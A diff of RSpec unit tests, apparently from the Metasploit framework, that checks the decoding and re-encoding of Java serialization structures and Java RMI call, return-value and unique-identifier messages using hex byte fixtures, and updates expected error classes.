allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_header" do
|
||||
it "returns the number of bytes sent" do
|
||||
|
@ -59,7 +58,7 @@ describe Msf::Java::Rmi::Client do
|
|||
|
||||
describe "#send_call" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_call(sock: io)).to eq(5)
|
||||
expect(mod.send_call(sock: io)).to eq(41)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -86,7 +85,7 @@ describe Msf::Java::Rmi::Client do
|
|||
describe "#recv_return" do
|
||||
context "when end point returns a value to the call" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,154 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'msf/java/rmi/util'
|
||||
|
||||
describe Msf::Java::Rmi::Util do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Util
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:example_interface) do
|
||||
[
|
||||
{name: 'sayHello', descriptor: '()Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']},
|
||||
{name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']}
|
||||
]
|
||||
end
|
||||
|
||||
let(:example_hash) do
|
||||
0x3e664fcbd9e953bb
|
||||
end
|
||||
|
||||
let(:method_signature) do
|
||||
'sayHello()Ljava/lang/String;'
|
||||
end
|
||||
|
||||
let(:method_hash) do
|
||||
0x53e0822d3e3724df
|
||||
end
|
||||
|
||||
let(:dgc_interface) do
|
||||
[
|
||||
{name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', exceptions: ['java.rmi.RemoteException']},
|
||||
{name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', exceptions: ['java.rmi.RemoteException']}
|
||||
]
|
||||
end
|
||||
|
||||
let(:dgc_hash) do
|
||||
0xf6b6898d8bf28643
|
||||
end
|
||||
|
||||
let(:empty) { '' }
|
||||
let(:empty_io) { StringIO.new(empty) }
|
||||
let(:string) { "\x00\x04\x41\x42\x43\x44" }
|
||||
let(:string_io) { StringIO.new(string) }
|
||||
let(:int) { "\x00\x00\x00\x04" }
|
||||
let(:int_io) { StringIO.new(int) }
|
||||
|
||||
let(:contents_unicast_ref) do
|
||||
"\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" +
|
||||
"\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" +
|
||||
"\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" +
|
||||
"\xdf\xd4\x57\x7e\x80\x01\x01"
|
||||
end
|
||||
|
||||
let(:unicast_ref_io) do
|
||||
StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents)
|
||||
end
|
||||
|
||||
let(:ref_address) { '172.16.158.131' }
|
||||
let(:ref_port) { 3057 }
|
||||
let(:ref_object_number) { 6085704671348084379 }
|
||||
|
||||
let(:unicast_ref) do
|
||||
{
|
||||
:address => '172.16.158.131',
|
||||
:object_number => 6085704671348084379,
|
||||
:port => 3057
|
||||
}
|
||||
end
|
||||
|
||||
describe "#calculate_interface_hash" do
|
||||
context "when an example interface is provided" do
|
||||
it "generates a correct interface hash" do
|
||||
expect(mod.calculate_interface_hash(example_interface)).to eq(example_hash)
|
||||
end
|
||||
end
|
||||
|
||||
context "when a DGC interface is provided" do
|
||||
it "generates a correct interface hash" do
|
||||
expect(mod.calculate_interface_hash(dgc_interface)).to eq(dgc_hash)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#calculate_method_hash" do
|
||||
it "generates a correct interface hash" do
|
||||
expect(mod.calculate_method_hash(method_signature)).to eq(method_hash)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_string" do
|
||||
context "when io contains a valid string" do
|
||||
it "returns the string" do
|
||||
expect(mod.extract_string(string_io)).to eq('ABCD')
|
||||
end
|
||||
end
|
||||
|
||||
context "when io doesn't contain a valid string" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_string(empty_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_int" do
|
||||
context "when io contains a valid int" do
|
||||
it "returns the string" do
|
||||
expect(mod.extract_int(int_io)).to eq(4)
|
||||
end
|
||||
end
|
||||
|
||||
context "when io doesn't contain a valid int" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_int(empty_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_reference" do
|
||||
context "when empty io" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_reference(empty_io)). to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid io" do
|
||||
it "returns a hash" do
|
||||
expect(mod.extract_reference(unicast_ref_io)).to be_a(Hash)
|
||||
end
|
||||
|
||||
it "returns a hash containing the address where the remote interface listens" do
|
||||
expect(mod.extract_reference(unicast_ref_io)[:address]).to eq(ref_address)
|
||||
end
|
||||
|
||||
it "returns a hash containing the port where the remote interface listens" do
|
||||
expect(mod.extract_reference(unicast_ref_io)[:port]).to eq(ref_port)
|
||||
end
|
||||
|
||||
it "returns a hash containing the object number of the remote interface" do
|
||||
expect(mod.extract_reference(unicast_ref_io)[:object_number]).to eq(ref_object_number)
|
||||
end
|
||||
|
||||
it "returns a hash containing the extracted unique identifier" do
|
||||
expect(mod.extract_reference(unicast_ref_io)[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do
|
|||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(empty_io) }.to raise_error(::RuntimeError)
|
||||
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do
|
|||
|
||||
context "when stream contains incomplete block" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError)
|
||||
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockData do
|
|||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(empty_io) }.to raise_error(::RuntimeError)
|
||||
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockData do
|
|||
|
||||
context "when stream contains incomplete block" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError)
|
||||
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -34,7 +34,7 @@ describe Rex::Java::Serialization::Model::Field do
|
|||
|
||||
describe "#encode" do
|
||||
context "when empty field" do
|
||||
it { expect { field.encode }.to raise_error(::RuntimeError) }
|
||||
it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) }
|
||||
end
|
||||
|
||||
context "when primitive field" do
|
||||
|
|
|
@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::LongUtf do
|
|||
|
||||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "raises RuntimeError" do
|
||||
expect { long_utf.decode(empty_io) }.to raise_error(::RuntimeError)
|
||||
it "raises Rex::Java::Serialization::DecodeError" do
|
||||
expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::LongUtf do
|
|||
|
||||
context "when stream contains incomplete long_utf" do
|
||||
it "returns nil" do
|
||||
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError)
|
||||
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,115 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
describe Rex::Java::Serialization::Model::ProxyClassDesc do
|
||||
subject(:proxy_class_desc) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" +
|
||||
"\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" +
|
||||
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" +
|
||||
"\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" +
|
||||
"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
|
||||
"\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" +
|
||||
"\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::ProxyClassDesc" do
|
||||
expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
|
||||
end
|
||||
|
||||
it "initializes interfaces with empty Array" do
|
||||
expect(proxy_class_desc.interfaces).to be_empty
|
||||
end
|
||||
|
||||
it "initializes class_annotation with nil" do
|
||||
expect(proxy_class_desc.class_annotation).to be_nil
|
||||
end
|
||||
|
||||
it "initializes super_class with nil" do
|
||||
expect(proxy_class_desc.super_class).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do
|
||||
expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes interfaces" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.interfaces.length).to eq(1)
|
||||
end
|
||||
|
||||
it "deserializes interfaces contents correctly" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello')
|
||||
end
|
||||
|
||||
it "deserializes class annotation correctly" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
||||
end
|
||||
|
||||
it "deserializes class annotation contents" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference)
|
||||
end
|
||||
|
||||
it "deserializes super_class" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes super class description" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes a ProxyClassDesc" do
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = 'object'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h')
|
||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;')
|
||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy')
|
||||
super_class_desc_new.serial_version = 0xe127da20cc1043cb
|
||||
super_class_desc_new.flags = 2
|
||||
super_class_desc_new.fields << field
|
||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc.description = super_class_desc_new
|
||||
|
||||
interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello')
|
||||
proxy_class_desc.interfaces << interface
|
||||
proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
proxy_class_desc.super_class = super_class_desc
|
||||
|
||||
expect(proxy_class_desc.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a sample NewClassDesc stream" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::Utf do
|
|||
|
||||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "raises RuntimeError" do
|
||||
expect { utf.decode(empty_io) }.to raise_error(::RuntimeError)
|
||||
it "raises Rex::Java::Serialization::DecodeError" do
|
||||
expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -69,8 +69,8 @@ describe Rex::Java::Serialization::Model::Utf do
|
|||
end
|
||||
|
||||
context "when stream contains incomplete utf" do
|
||||
it "raises RuntimeError" do
|
||||
expect { utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError)
|
||||
it "raises Rex::Java::Serialization::DecodeError" do
|
||||
expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::CallData do
|
||||
|
||||
subject(:call_data) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:call_data_stream) do
|
||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
|
||||
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" +
|
||||
"\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" +
|
||||
"\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" +
|
||||
"\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" +
|
||||
"\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" +
|
||||
"\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" +
|
||||
"\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" +
|
||||
"\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" +
|
||||
"\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" +
|
||||
"\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" +
|
||||
"\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" +
|
||||
"\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" +
|
||||
"\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" +
|
||||
"\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" +
|
||||
"\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" +
|
||||
"\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" +
|
||||
"\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" +
|
||||
"\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" +
|
||||
"\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" +
|
||||
"\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" +
|
||||
"\x62\xc1\xc0"
|
||||
end
|
||||
|
||||
let(:call_data_stream_io) { StringIO.new(call_data_stream) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::CallData decoded" do
|
||||
expect(call_data.decode(call_data_stream_io)).to eq(call_data)
|
||||
end
|
||||
|
||||
it "decodes code correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.object_number).to eq(2)
|
||||
end
|
||||
|
||||
it "decodes the uid correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
|
||||
end
|
||||
|
||||
it "decodes the operation correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.operation).to eq(1)
|
||||
end
|
||||
|
||||
it "decodes the hash correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.hash).to eq(-669196253586618813)
|
||||
end
|
||||
|
||||
it "decodes the arguments correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.arguments).to be_an(Array)
|
||||
end
|
||||
|
||||
it "decodes all the arguments" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.arguments.length).to eq(3)
|
||||
end
|
||||
|
||||
it "decodes the first argument as an array" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.arguments[0]).to be_an(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "decodes the type of the first argument array correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.arguments[0].array_description.description.class_name.contents).to eq('[Ljava.rmi.server.ObjID;')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "re-encodes a CallData stream correctly" do
|
||||
call_data.decode(call_data_stream_io)
|
||||
expect(call_data.encode).to eq(call_data_stream)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -57,7 +57,7 @@ describe Rex::Proto::Rmi::Model::Call do
|
|||
|
||||
it "decodes the call data correctly" do
|
||||
call.decode(call_message_io)
|
||||
expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
expect(call.call_data).to be_a(Rex::Proto::Rmi::Model::CallData)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -46,7 +46,7 @@ describe Rex::Proto::Rmi::Model::ReturnData do
|
|||
|
||||
it "decodes the return data correctly" do
|
||||
return_data.decode(return_stream_io)
|
||||
expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
expect(return_data.return_value).to be_a(Rex::Proto::Rmi::Model::ReturnValue)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,88 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::ReturnValue do
|
||||
|
||||
subject(:return_value) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:return_value_stream) do
|
||||
"\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
|
||||
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
|
||||
"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" +
|
||||
"\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" +
|
||||
"\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" +
|
||||
"\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" +
|
||||
"\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
|
||||
"\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" +
|
||||
"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" +
|
||||
"\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" +
|
||||
"\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" +
|
||||
"\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
|
||||
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" +
|
||||
"\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" +
|
||||
"\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" +
|
||||
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
|
||||
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
|
||||
end
|
||||
|
||||
let(:return_value_stream_io) { StringIO.new(return_value_stream) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::ReturnValue decoded" do
|
||||
expect(return_value.decode(return_value_stream_io)).to eq(return_value)
|
||||
end
|
||||
|
||||
it "decodes code correctly" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.code).to eq(Rex::Proto::Rmi::Model::RETURN_VALUE)
|
||||
end
|
||||
|
||||
it "decodes the uid correctly" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
|
||||
end
|
||||
|
||||
it "decodes the value correctly" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.value).to be_an(Array)
|
||||
end
|
||||
|
||||
it "decodes the value as an object" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.value[0]).to be_an(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "decodes the type of object in the value correctly" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.value[0].class_desc.description.class_name.contents).to eq('java.rmi.dgc.Lease')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "re-encodes a ReturnData stream correctly" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.encode).to eq(return_value_stream)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#is_exception?" do
|
||||
it "return false unless the return value is an exception" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.is_exception?).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_class_name" do
|
||||
it "returns the class name of the object in the return value" do
|
||||
return_value.decode(return_value_stream_io)
|
||||
expect(return_value.get_class_name).to eq('java.rmi.dgc.Lease')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,47 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::UniqueIdentifier do
|
||||
|
||||
subject(:uid) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:uid_raw) do
|
||||
"\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x15"
|
||||
end
|
||||
|
||||
let(:uid_raw_io) { StringIO.new(uid_raw) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::UniqueIdentifier decoded" do
|
||||
expect(uid.decode(uid_raw_io)).to eq(uid)
|
||||
end
|
||||
|
||||
it "decodes number correctly" do
|
||||
uid.decode(uid_raw_io)
|
||||
expect(uid.number).to eq(-766517433)
|
||||
end
|
||||
|
||||
it "decodes time correctly" do
|
||||
uid.decode(uid_raw_io)
|
||||
expect(uid.time).to eq(1416095896184)
|
||||
end
|
||||
|
||||
it "decodes count correctly" do
|
||||
uid.decode(uid_raw_io)
|
||||
expect(uid.count).to eq(-32747)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "re-encodes a ReturnData stream correctly" do
|
||||
uid.decode(uid_raw_io)
|
||||
expect(uid.encode).to eq(uid_raw)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue